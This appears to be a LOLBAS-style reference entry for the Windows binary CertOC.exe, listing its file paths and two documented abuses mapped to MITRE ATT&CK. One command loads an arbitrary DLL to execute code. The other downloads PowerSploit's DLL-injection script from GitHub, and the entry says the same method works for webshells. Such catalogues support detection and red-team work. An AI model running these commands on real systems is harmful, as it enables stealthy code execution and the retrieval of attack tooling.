.. /
CertOC.exe
Used for installing certificates
Paths:
- c:\windows\system32\certoc.exe
- c:\windows\syswow64\certoc.exe
Resources:
Execute
Loads the target DLL file
certoc.exe -LoadDLL "C:\test\calc.dll"
Usecase: Execute code within DLL file
Privileges required: User
OS: Windows Server 2022
MITRE ATT&CK®: T1218
Download
Downloads text formatted files
certoc.exe -GetCACAPS https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-DllInjection.ps1
Usecase: Download scripts, webshells etc.
Privileges required: User
OS: Windows Server 2022
MITRE ATT&CK®: T1105